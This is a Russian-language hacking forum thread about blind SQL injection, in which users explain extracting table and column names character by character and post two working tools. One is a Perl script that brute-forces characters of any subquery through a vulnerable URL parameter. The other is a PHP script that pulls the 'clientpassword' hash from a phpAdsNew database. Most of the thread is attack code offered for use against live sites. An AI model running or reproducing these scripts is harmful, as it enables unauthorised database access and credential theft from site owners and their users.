Вот прочитал статью и ни как не могу понять, получается что название колонок,таблиц,бд нельзя таким способом подобрать Тоесть этот метод используется, если уже известны название, но не осуществляется вывод данных полученных из запроса?
[cash], не совсем. БД: database() колонки и таблицы можно, если версия mysql >= 5.0: таблицы: select table_name from information_schema.tables колонки: select column_name from information_schema.columns where table_name='table'
тогда получается это уже не посимвольный перебор тоесть название колонок,таблиц существующих будет выводиться в сообщениях об ошибках?
нет, я про посимвольный перебор он ведь организуется через ASCII(SUBSTR(строка, индекс, 1)) > число в качестве строки для перебора будет подзапрос - (SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1), например. Ну или через UNION. Врубил?
У меня был скрипт который перебирал буквы логина или пасса... Задал номер символа в логине или пассе и он перебирает.
r57_sql_ocb.pl кажетсо, вот код Code: #!/usr/bin/perl # r57sql_ocb.pl # sql-databases one char bruteforce tool use LWP::UserAgent; $path = $ARGV[0]; # запрос с уязвимому скрипту с параметром $query = $ARGV[1]; # запрос к БД (подзапрос) результат которого будет вставлен в функцию substring() $s_num = $ARGV[2]; # позиция символа который перебираем $string = $ARGV[3]; # строка в ответе сервера по наличию которой судим о успешном выполнении запроса к БД if (@ARGV < 4) { &usage; } # диапазон символов для перебора $min = $ARGV[4] || 97; # a $max = $ARGV[5] || 122; # z &found($min,$max); # подпрограмма уменьшения диапазона символов sub found($$) { my $fmin = $_[0]; my $fmax = $_[1]; # если диапазон менее 5 символов то переходим к перебору if (($fmax-$fmin)<5) { &crack($fmin,$fmax); } # иначе находим середину диапазона print "-> Try $fmin .. $fmax -> "; $r = int($fmax - ($fmax-$fmin)/2); $check = ">$r"; # проверяем ответ скрипта и в зависимости от возвращенного результата # рекурсивно вызываем функцию с новым диапазоном (уже уменьшенным в 2 раза) if ( &check($check) ) { print "Char > $r\r\n"; &found($r,$fmax); } else { print "Char < $r\r\n"; &found($fmin,$r+1); } } # подпрограмма поиска перебором sub crack($$) { my $cmin = $_[0]; my $cmax = $_[1]; $i = $cmin; # проходим циклом по диапазону while ($i<$cmax) { $crcheck = "=$i"; print "-> Try $i ->"; # проверяем ответ скрипта, если ответ положительный то выводим символ и выходим if ( &check($crcheck) ) { print " FOUND!\r\n-> Ascii: $i\r\n-> Char: ".chr($i); exit(); } else { print " NO =(\r\n"; } $i++; } print "NOT FOUND"; exit(); } # подпрограмма проверки результата запроса sub check($) { $ccheck = $_[0]; # формируем запрос к скрипту $http_query = $path." AND ascii(lower(substring(".$query.",".$s_num.",1)))".$ccheck; # отправляем запрос $mcb_reguest = LWP::UserAgent->new() or die; $res = $mcb_reguest->post($http_query); # получаем ответ сервера @results = $res->content; foreach $result(@results) { # ищем в ответе скрипта строку совпадающую с нашим условием if ($result =~ /$string/) { return 1; } } return 0; } sub usage { print "Usage: $0 [path_to_script?param] [DB_query] [symbol_position] [return_string] [brute_min_char] [brute_max_char]\r\n"; print "e.g. : $0 http://server.com/users.php?id=1 \"user()\" 1 \"Found: 3\" 48 57"; exit(); }
PHP: <? $sp=$_GET["sp"]; $type="num"; $hash=""; $s="http://host.com/include/viewDoc.php?docid=1+AND+ascii(lower(substring((SELECT+clientpassword+from+phpads_clients+LIMIT+1),$sp,1)))<58"; $f=fopen($s,r); $get=fread($f,200); fclose($f); if ($get!="") $type="num"; else $type="char"; switch ($type){ case "num": $start=48; $fin=58; break; case "char": $start=92; $fin=103; break; } for ($i=$start;$i<$fin;$i++){ $s="http://host.com/include/viewDoc.php?docid=1+AND+ascii(lower(substring((SELECT+clientpassword+from+phpads_clients+LIMIT+1),$sp,1)))=$i"; $f=fopen($s,r); $get=fread($f,200); fclose($f); if ($get!=""){ $hash=chr($i); break; } } echo $hash; ?> Вот нашел. Вроде он. P.S. если мона плюсик.